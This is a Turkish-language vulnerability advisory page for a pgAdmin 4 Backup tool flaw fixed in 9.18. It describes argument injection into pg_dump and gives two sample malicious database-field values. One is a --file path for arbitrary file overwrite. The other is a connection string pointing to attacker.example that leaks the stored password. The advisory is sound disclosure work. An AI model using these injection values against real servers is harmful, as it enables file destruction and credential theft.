CVE-2026-86864
Açıklama
pgAdmin 4'ün Yedekleme aracı, /backup/job/<sid>/object isteğinden gelen istemci tarafından sağlanan 'database' alanını, herhangi bir doğrulama yapmadan pg_dump argüman vektörüne yalın bir sondaki konumsal argüman olarak eklemiştir. pg_dump seçeneklerini, argümanların yerini değiştiren getopt_long ile ayrıştırdığı için tire ile başlayan bir değer, veritabanı adı yerine bir seçenek olarak yorumlanmıştır. Bu nedenle --file=/absolute/path gibi bir değer, pgAdmin tarafından daha önce oluşturulan depolama kısıtlı --file seçeneğinin üzerine yazarak pg_dump'ın çıktısını, kullanıcının Dosya Yöneticisi depolama dizininin dışında, pgAdmin işleminin yazabildiği herhangi bir yere yazmasına neden olmuştur. Bu durum, pgAdmin'i çalıştıran işletim sistemi hesabı üzerinden rastgele dosya oluşturulmasına ve üzerine yazılmasına yol açarak pgAdmin'in kendi yapılandırma veritabanının yok edilmesine ve seçilen hedefe bağlı olarak yetki yükseltilmesine imkan tanımaktadır. Aynı alan ayrıca bağlantı dizesi enjeksiyonuna da izin vermiştir. libpq, eşittir işareti içeren bir veritabanı adını tam bir bağlantı dizesine genişletir ve buraya gömülen anahtar kelimeler pgAdmin tarafından iletilen --host ve --port seçeneklerinin üzerine yazar; böylece 'host=attacker.example port=5432 dbname=x' gibi bir değer, pg_dump'ı saldırganın seçtiği bir sunucuya yönlendirmiştir. pgAdmin, yardımcı programı yürütmeden önce şifresi çözülmüş kayıtlı veritabanı parolasını PGPASSWORD ortam değişkeninde dışa aktardığından, yönlendirilen bağlantı bu kimlik bilgisini saldırgan tarafından belirlenen uç noktaya taşır. Her iki davranışa da varsayılan Kullanıcı rolüne verilen tools_backup iznine sahip herhangi bir kimliği doğrulanmış kullanıcı erişebilmektedir. Düzeltme, veritabanı adının argüman vektörü aracılığıyla iletilmesini tamamen durdurur ve bunu, libpq'nun gerçek bir veritabanı adı olarak kabul ettiği ve asla bir bağlantı dizesi olarak genişletmediği PGDATABASE ortam değişkeninde sağlar. Bu, İçe Aktarma/Dışa Aktarma aracı tarafından halihazırda kullanılan yaklaşımla uyumludur. Regresyon testleri, veritabanı adının oluşturulan argüman vektöründe bulunmadığını ve PGDATABASE'in tam olarak istenen değeri taşıdığını doğrulamaktadır. Bu sorun şu pgAdmin 4 sürümlerini etkilemektedir: Yedekleme aracında sondaki konumsal veritabanı argümanının tanıtıldığı tarihten itibaren 9.18 öncesindeki tüm sürümler.
Nasıl düzeltilir
- pgadmin pgadmin_49.18 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| pgadmin pgadmin_4 | v < 9.18 | 9.18 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.